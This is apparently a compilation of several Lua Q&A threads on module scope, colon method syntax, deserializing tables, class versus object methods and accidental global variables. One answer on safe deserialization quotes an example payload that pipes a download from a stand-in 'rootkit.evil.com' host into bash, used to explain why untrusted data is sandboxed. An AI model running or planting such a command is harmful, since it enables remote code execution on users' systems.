There are two script files with the following script
//parent.lua
function scope()
local var = "abc"
require "child"
end
//child.lua
print(var)
This way, child.lua will print a nil value because the scope in parent.lua does not expose its local features to the module. I thought it would, since the require directive is stated within this scope and after the declaration of var. My desire is to practically wholly inject all the lines of the child into the parent. The child script is just exported for better readability. How can I pass the local scope? loadfile() did not work, nor did dofile(). The function environment fenv does not harbor local values. debug.setlocal() does not seem to be able to create new variables (also it would require a receiver in the child). Any method besides recompiling the script?
You can with a bit of effort. If your variables in child are real upvalues you can "link" them to values in your scope function. If they are global variables (which seems to be the case here), you can map them to an environment using setfenv and populate that environment with values from your local variables.
The following will print abc as you'd expect (you can change loadstring to loadfile with the same effect):
function vars(f)
local func = debug.getinfo(f, "f").func
local i = 1
local vars = {}
while true do
local name, value = debug.getlocal(f, i)
if not name then break end
if string.sub(name, 1, 1) ~= '(' then vars[name] = value end
i = i + 1
end
i = 1
while func do -- check for func as it may be nil for tail calls
local name, value = debug.getupvalue(func, i)
if not name then break end
vars[name] = value
i = i + 1
end
return vars
end
function parent()
local var = "abc"
local child = loadstring("print(var)")
local env = vars(2) -- grab all local/upvalues for the current function
-- use these values to populate new environment; map to _G for everything else
setmetatable(env, {__index = _G})
setfenv(child, env)
child()
end
parent()
This is all for Lua 5.1, but it's also possible in Lua 5.2.
Related
local Public = {}
function Public.new(ent)
local State = {}
function State:update(player)
ent:setLinearVelocity(0,0)
end
function State:start(player)
ent.fixedRotation = true
self.attackTimer = _G.m.addTimer(200, function()
ent:setState('attacking', player)
end)
end
function State:exit(player)
ent.fixedRotation = false
timer.cancel(self.attackTimer)
end
return State
end
return Public
I'm using a linter and its complaining that I'm using the colon unnecessarily for my update and exit methods. The reason I do this is to keep all my methods uniform. Sometimes I need self and sometimes I don't.
But in general is there any advantage to using colon on these at all? It seems like if i have something like State:start then I could just reference State directly. I could do State.attackTimer vs self.attackTimer..
Why would you ever really need the colon? If you have access to the table that holds the method then you have access to self.. right?
The : syntax is a great tool when you are making a class using a table and a metatable.
Your code above, rather then creating a class, creates an encapsulated set of functions. which have access to State as an upvalue.
I will use this class from Lua Users - SimpleLuaClasses as an example:
Account = {}
Account.__index = Account
function Account:create(balance)
local acnt = {} -- our new object
setmetatable(acnt,Account) -- make Account handle lookup
acnt.balance = balance -- initialize our object
return acnt
end
function Account:withdraw(amount)
self.balance = self.balance - amount
end
-- create and use an Account
acc = Account:create(1000)
acc:withdraw(100)
Here we have an instance(acc) of the Account class. To adjust or modify the values in this specific instance of Account we can not refer to Account.balance inside of Account:withdraw. We need a reference to the table where the data is stored, and that is where passing that table using : comes in.
acc:withdraw(100) is just syntactic sugar for acc.withdraw(acc, 100) passing in our table as the first param self. When you define Account:withdraw(amount) there is an implicate first variable self the definition could be written as Account.withdraw(self, amount)
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.
I'm aware there are a few questions about implementing OOP in Lua on this site, however, this one is a bit different (at least compared to what I found).
I'm trying to create a class called "human", and make it so objects created with the "new" constructor of "human", inherit everything inside human except it's constructor. However, I also don't want to be able to use methods inside of human, on human. So whatever's inside the human class, is only passed to created objects. Here's an example:
-- "Human" class
human = {}
function human.new(name)
local new = {} -- New object
-- Metatable associated with the new object
local newMeta =
{
__index = function(t, k)
local v = human[k] -- Get the value from human
print("Key: ", k)
if type(v) == "function" then -- Takes care of methods
return function(_, ...)
return v(new, ...)
end
else
return v -- Otherwise return the value as it is
end
end
}
-- Defaults
new.Name = name
new.Age = 1
return setmetatable(new, newMeta)
end
-- Methods
function human:printName()
print(self.Name)
end
function human:setAge(new)
self.Age = new
end
-- Create new human called "bob"
-- This works as expected
local bob = human.new("Bob")
print(bob.Name) -- prints 'Bob'
bob:printName() -- prints 'Bob'
bob:setAge(10) -- sets the age to 10
print(bob.Age) -- prints '10'
-- But I don't want something like this allowed:
local other = bob.new("Mike") -- I don't want the constructor passed
-- I'd also like to prevent this from being allowed, for "human" is a class, not an object.
human:printName()
So creating the object with human.new("Bob") works fine, but it also passes the constructor, and I can still use the object methods on the class. I'm very new to the concept of OOP, so I'm sorry if this was a horrible question. But if anyone could help, I'd appreciate that.
I have run into the same issue before. You need two tables. One for object methods and one for class methods. Set the metatable of constructed objects to the object method table. For example:
local Class = {}
local Object = {}
Object.__index = Object
function Class.new()
return setmetatable({}, Object)
end
setmetatable(Class, {__call = Class.new})
function Object.do()
...
end
return Class
And use it
Class = require('Class')
local obj = Class.new() -- this is valid
obj.do() -- this is valid
obj.new() -- this is invalid
Class.do() -- this is invalid
I have created a small class called Piece, which looks as follows
local Piece = {}
local Piece_mt = { __index = Piece}
function Piece.New(name, img, startPosX, startPosY)
newPiece = {}
newPiece.name = name;
newPiece.img = display.newImage(img, startPosX, startPosY);
print(newPiece.name);
local function OnHit ( event )
if event.phase == "ended" then
print(newPiece.name);
end
end
newPiece.img:addEventListener("touch", OnHit);
return setmetatable( newPiece, Piece_mt )
end
return Piece
When I create the class, it prints the name, and it is correct (matches what I passed as a parameter). However, when I later click the image, and the name is printed as a result of the triggered OnHit function, the name printed is always the name of the last object I created, regardless of which of the objects I click on. Could someone explane why this happens and how to fix it?
function Piece.New(name, img, startPosX, startPosY)
newPiece = {}
-- process
return setmetatable( newPiece, Piece_mt )
end
Here, you are assigning the global variable newPiece and return it every time. Instead, try use a local variable:
function Piece.New(name, img, startPosX, startPosY)
local newPiece = {}
-- process
return setmetatable( newPiece, Piece_mt )
end
I just started programming in lua and I created sort of oop structure following this tutorial: http://tylerneylon.com/a/learn-lua/
Problem is, when I created function that returns object or table of objects and call it inside constructor, it returns nil.
Here is my code for first object:
require "ObjectB"
ObjectA = {}
function ObjectA:new(num)
newInstance = {}
newInstance.var = self:foo(num)
self.__index = self
return setmetatable(newInstance, self)
end
function ObjectA:foo(num)
return ObjectB:new(num)
end
, and for second object:
ObjectB = {}
function ObjectB:new(num)
newInstance = {}
newInstance.num = num
self.__index = self
return setmetatable(newInstance, self)
end
When I do this:
myObject = ObjectA:new(5)
print(myObject.var.num)
, I get error: "Error: main.lua:14: attempt to index field 'var' (a nil value)".
But when I do this:
myObject = ObjectA:new(5)
myObject.var = ObjectA:foo(5) //setting var by calling foo outside of constructor
print(myObject.var.num)
, everything seems to work fine and print result is really 5. Can anyone tell me what is reason for this strange behaviour or what am I doing wrong here?
Variables are global by default, so the two variables newInstance in ObjectA:new and ObjectB:new are the same global variables, you assign it a new value, the previous value is gone.
Instead, use local variables like this:
function ObjectA:new(num)
local newInstance = {}
--the rest
end
and
function ObjectB:new(num)
local newInstance = {}
--the rest
end